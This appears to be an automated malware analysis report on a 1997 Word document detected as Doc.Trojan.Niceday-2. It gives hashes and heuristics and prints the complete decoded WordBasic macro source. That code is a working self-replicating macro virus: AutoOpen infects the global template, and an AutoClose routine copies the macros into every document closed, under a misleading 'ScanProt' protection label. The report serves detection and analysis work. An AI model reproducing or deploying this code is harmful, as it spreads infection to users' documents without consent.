Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a73e5df9d2010eee…

MALICIOUS

Office (OLE)

32.5 KB Created: 1997-05-29 15:13:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a1605ee48f06572ee87e2d51c72548fc SHA-1: bac21ca8ac348012071cf889ec6c04a127ff1dcb SHA-256: a73e5df9d2010eee3df6827a3234a5dc5287d07def30a4b1525379919c3de02e
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing WordBasic macros, including AutoOpen and Auto_Close functions. These macros are designed to copy themselves to the global template, indicating an attempt to establish persistence or prepare for subsequent stages of an attack. The presence of these auto-executing macros and the ClamAV detection strongly suggest malicious intent.

Heuristics 5

  • ClamAV: Doc.Trojan.Niceday-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Niceday-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2406 bytes
SHA-256: e82fdc51a5e994aac2e64c9b152f09ab1332ba11e883fc90c5cc9607d675f4ea
Detection
ClamAV: Doc.Trojan.Niceday-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoExit"

Rem Concept3.AutoExit.Macro
Public Sub MAIN()
Attribute MAIN.VB_Description = "ScanProt macro to protect and disinfect your Normal (Global) template."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoExit.MAIN"
Dim message1$
Dim daynumber
Dim monthnumber
message1$ = "Have a Nice Day !"

daynumber = WordBasic.Day(WordBasic.Now())
monthnumber = WordBasic.Month(WordBasic.Now())

If daynumber = 1 And monthnumber = 4 Then WordBasic.MsgBox message1$ Else WordBasic.MsgBox message1$

End Sub

Attribute VB_Name = "Payload"

Public Sub MAIN()
    Rem That's enough to prove my point
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim vZap$
Dim vMacro$
    On Error GoTo -1: On Error GoTo Abort
    
            vZap$ = WordBasic.[FileName$]()

            vMacro$ = vZap$ + ":Payload"
            WordBasic.MacroCopy vMacro$, "Global:PayLoad"

            vMacro$ = vZap$ + ":AutoExit"
            WordBasic.MacroCopy vMacro$, "Global:AutoExit"

            vMacro$ = vZap$ + ":AutoOpen"
            WordBasic.MacroCopy vMacro$, "Global:VOpen"

            vMacro$ = vZap$ + ":VClose"
            WordBasic.MacroCopy vMacro$, "Global:AutoClose"

Abort:
End Sub

Attribute VB_Name = "VClose"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Installed to your NORMAL template as AutoClose to clean the prank macros from any documents that you open then close."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.VClose.MAIN"
Dim vZap$
Dim vMacro$
    On Error GoTo -1: On Error GoTo Abort

        WordBasic.FileSaveAs Format:=1

        vZap$ = WordBasic.[FileName$]()

        vMacro$ = vZap$ + ":Payload"
        WordBasic.MacroCopy "Global:PayLoad", vMacro$

        vMacro$ = vZap$ + ":AutoExit"
        WordBasic.MacroCopy "Global:AutoExit", vMacro$

        vMacro$ = vZap$ + ":AutoOpen"
        WordBasic.MacroCopy "Global:VOpen", vMacro$

        vMacro$ = vZap$ + ":VClose"
        WordBasic.MacroCopy "Global:AutoClose", vMacro$

        WordBasic.FileSaveAs Format:=1

Abort:
End Sub

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